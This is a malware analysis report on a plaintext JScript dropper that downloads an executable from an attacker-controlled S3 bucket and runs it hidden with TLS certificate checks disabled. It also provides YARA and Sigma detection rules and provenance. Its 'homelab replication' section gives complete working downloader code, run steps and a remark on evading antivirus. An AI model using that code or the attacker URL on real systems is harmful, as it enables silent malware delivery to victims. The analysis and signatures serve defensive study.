unclassified-js-s3-dropper: 26afa8d1 — Plain-text WScript→S3 HTTPS downloader with SSL cert-error bypass

Executive Summary

A 612-byte plaintext JScript dropper for Windows Script Host. It instantiates three COM objects (WScript.Shell, MSXML2.ServerXMLHTTP.6.0, ADODB.Stream), downloads a remote PE executable from a hardcoded Amazon S3 bucket over HTTPS, writes it to %TEMP%\Utilify_<random>.exe, and executes it hidden. No obfuscation, no sandbox gating, no persistence — pure minimal staging. The S3 bucket name (amazonbusketss-535659318049-us-west-1-an) is attacker-controlled and masquerades as an AWS regional asset.

What It Is

How It Works

Execution chain (single stage, no branching):

1. Environment expansion — WScript.Shell.ExpandEnvironmentStrings("%TEMP%") resolves the temp directory. ^[strings.txt:1]
2. Random filename — "Utilify_" + Math.random().toString(36).substr(2,8) + ".exe" generates a pseudo-random 8-char alphanumeric suffix, producing e.g. Utilify_a7k3m9p1.exe. ^[strings.txt:1]
3. SSL-bypass HTTP request — MSXML2.ServerXMLHTTP.6.0 is configured with setOption(2,13056). Option 2 is SXH_OPTION_IGNORE_SERVER_SSL_CERT_ERROR_FLAGS; value 13056 (0x3300) equals SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS (wrong CN, expired, revoked, untrusted root). This silently accepts any TLS certificate from the remote host. ^[strings.txt:1]
4. Timeout profile — setTimeouts(5000,10000,10000,120000) sets 5 s resolve, 10 s connect, 10 s send, 120 s receive. ^[strings.txt:1]
5. Download — synchronous GET to https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/UtilifySetup.exe. ^[strings.txt:1]
6. Size gate — only writes the file if ADODB.Stream.Size >= 1024 bytes; otherwise closes the stream and exits without execution. ^[strings.txt:1]
7. Binary save — ADODB.Stream.SaveToFile(f,2) where flag 2 is adSaveCreateOverWrite. ^[strings.txt:1]
8. Execution — WScript.Shell.Run("\""+f+"\"",0,false) launches the saved PE with window style 0 (hidden) and does not wait for termination. ^[strings.txt:1]
9. Error swallowing — the entire block is wrapped in a bare try{...}catch(e){} with no logging or fallback, so any failure (network timeout, missing COM object, size gate failure) silently aborts. ^[strings.txt:1]

Decompiled Behavior

N/A — sample is a plaintext JScript file, not a PE. Ghidra, radare2, and capa do not apply. ^[file.txt] ^[capa.txt]

C2 Infrastructure

No backup URLs, DGA, or fallback C2 observed. No network-level authentication, headers, or cookie gating.

Interesting Tidbits

• Zero obfuscation — the entire payload is readable in a text editor. No javascript-obfuscator, no base64, no string arrays. This is unusual compared to the unclassified-js-pptx-dropper and unclassified-js-dropper families in this corpus, both of which use heavy obfuscation. ^[strings.txt:1]
• SSL bypass is deliberate — 13056 is not a default value; it is the bitwise OR of all Microsoft ServerXMLHTTP certificate-ignore flags. This suggests the operator expects the S3 endpoint to present an untrusted, expired, or mismatched certificate, or is reusing the code against arbitrary HTTPS infrastructure. ^[strings.txt:1]
• Bucket name masquerade — amazonbusketss (misspelled) + fake AWS account ID 535659318049 + region us-west-1 mimics legitimate AWS S3 naming. The bucket is attacker-controlled, not a compromised legitimate bucket. ^[strings.txt:1]
• Size gate is minimal — >=1024 bytes is a rudimentary anti-tamper / anti-honeypot check; any non-empty PE will pass. ^[strings.txt:1]
• No persistence — unlike unclassified-js-dropper siblings that drop .lnk files or register schtasks, this sample exits after one-shot execution. Reliance is on the downloaded PE to install its own persistence. ^[strings.txt:1]
• Error handling is a black hole — catch(e){} with no body means forensic artifacts (event log entries, stderr, user alerts) are suppressed. ^[strings.txt:1]

How To Mess With It (Homelab Replication)

Goal: reproduce a minimal WScript→HTTPS→ADODB.Stream downloader with SSL bypass.

Toolchain: Windows VM + Notepad + cscript.exe or wscript.exe.

Working source snippet:

var w=new ActiveXObject("WScript.Shell");
var t=w.ExpandEnvironmentStrings("%TEMP%");
var n="Demo_"+Math.random().toString(36).substr(2,8)+".exe";
var f=t+"\\"+n;
var u="https://your-bucket.s3.us-east-1.amazonaws.com/payload.exe";
try{
    var h=new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
    h.setOption(2,13056);
    h.setTimeouts(5000,10000,10000,120000);
    h.open("GET",u,false);
    h.send();
    if(h.status===200){
        var s=new ActiveXObject("ADODB.Stream");
        s.Type=1; s.Open(); s.Write(h.responseBody);
        if(s.Size>=1024){ s.SaveToFile(f,2); s.Close(); w.Run("\""+f+"\"",0,false); }
        else { s.Close(); }
    }
} catch(e){}

Verification step:

1. Save as demo.js.
2. Host any PE at the target HTTPS URL (a legitimate tool is fine for testing).
3. Run cscript.exe demo.js //B (batch mode, suppress banners).
4. Observe %TEMP%\Demo_*.exe created and the child process spawned. Use Procmon to confirm MSXML2.ServerXMLHTTP.6.0 TLS handshake and ADODB.Stream binary write.

What you'll learn: how a 600-byte script with no obfuscation can still evade many static AV signatures if the S3 URL is fresh, because the malicious behaviour is in the second-stage PE rather than the carrier.

Deployable Signatures

YARA rule

rule JS_S3_Downloader_Utilify {
    meta:
        description = "Plain-text WScript JS downloader staging from S3 with SSL cert bypass"
        author = "PacketPursuit"
        date = "2026-06-16"
        sha256 = "26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f"
    strings:
        $a = "MSXML2.ServerXMLHTTP.6.0" ascii wide
        $b = "ADODB.Stream" ascii wide
        $c = "WScript.Shell" ascii wide
        $d = "setOption(2,13056)" ascii wide
        $e = "Utilify_" ascii wide
        $f = /\.s3\.[a-z0-9-]+\.amazonaws\.com\// ascii wide
    condition:
        filesize < 2KB and 4 of them
}

Sigma rule

title: WScript JS S3 Downloader Executing Temp EXE
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\wscript.exe'
            - '\cscript.exe'
    selection_child_path:
        CommandLine|contains: '\Utilify_'
        CommandLine|endswith: '.exe'
    selection_child_s3:
        CommandLine|contains:
            - 'amazonaws.com'
            - 's3.'
    condition: selection_parent and (selection_child_path or selection_child_s3)
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint

A plaintext JScript file under 1 KB, single line, instantiates WScript.Shell, MSXML2.ServerXMLHTTP.6.0, and ADODB.Stream. It sets ServerXMLHTTP option 2 to 13056 (ignore all TLS certificate errors), performs a synchronous HTTPS GET to an S3 virtual-hosted endpoint, writes the response body to %TEMP%\Utilify_<random8>.exe via binary ADODB.Stream only if the payload exceeds 1024 bytes, then executes the file hidden via WScript.Shell.Run(...,0,false). All errors are silently swallowed in a bare catch(e){} block. No persistence, no sandbox checks, no obfuscation.

Detection Signatures

N/A — capa does not analyse script files. ATT&CK mapping is inferred from static source inspection and documented below.

References

• SHA-256: 26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f
• Artifact ID: 655341e9-b0fd-4902-8e71-47bea48e47e5
• Source: MalwareBazaar via OpenCTI connector
• Related entity: unclassified-js-s3-dropper

Provenance

Analysis based on:

• file.txt — file utility (identifies plaintext JS)
• strings.txt — strings -n 6 (full payload recovered, line 1)
• floss.txt — N/A (floss errored on non-PE input)
• capa.txt — N/A (capa rejected non-PE input)
• binwalk.txt — N/A (no embedded artefacts)
• rabin2-info.txt — radare2 rabin2 -I (confirms non-PE)
• dynamic-analysis.md — CAPE skipped (unsupported binary class)

All claims trace to ^[raw/analyses/26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f/<file>] markers inline above.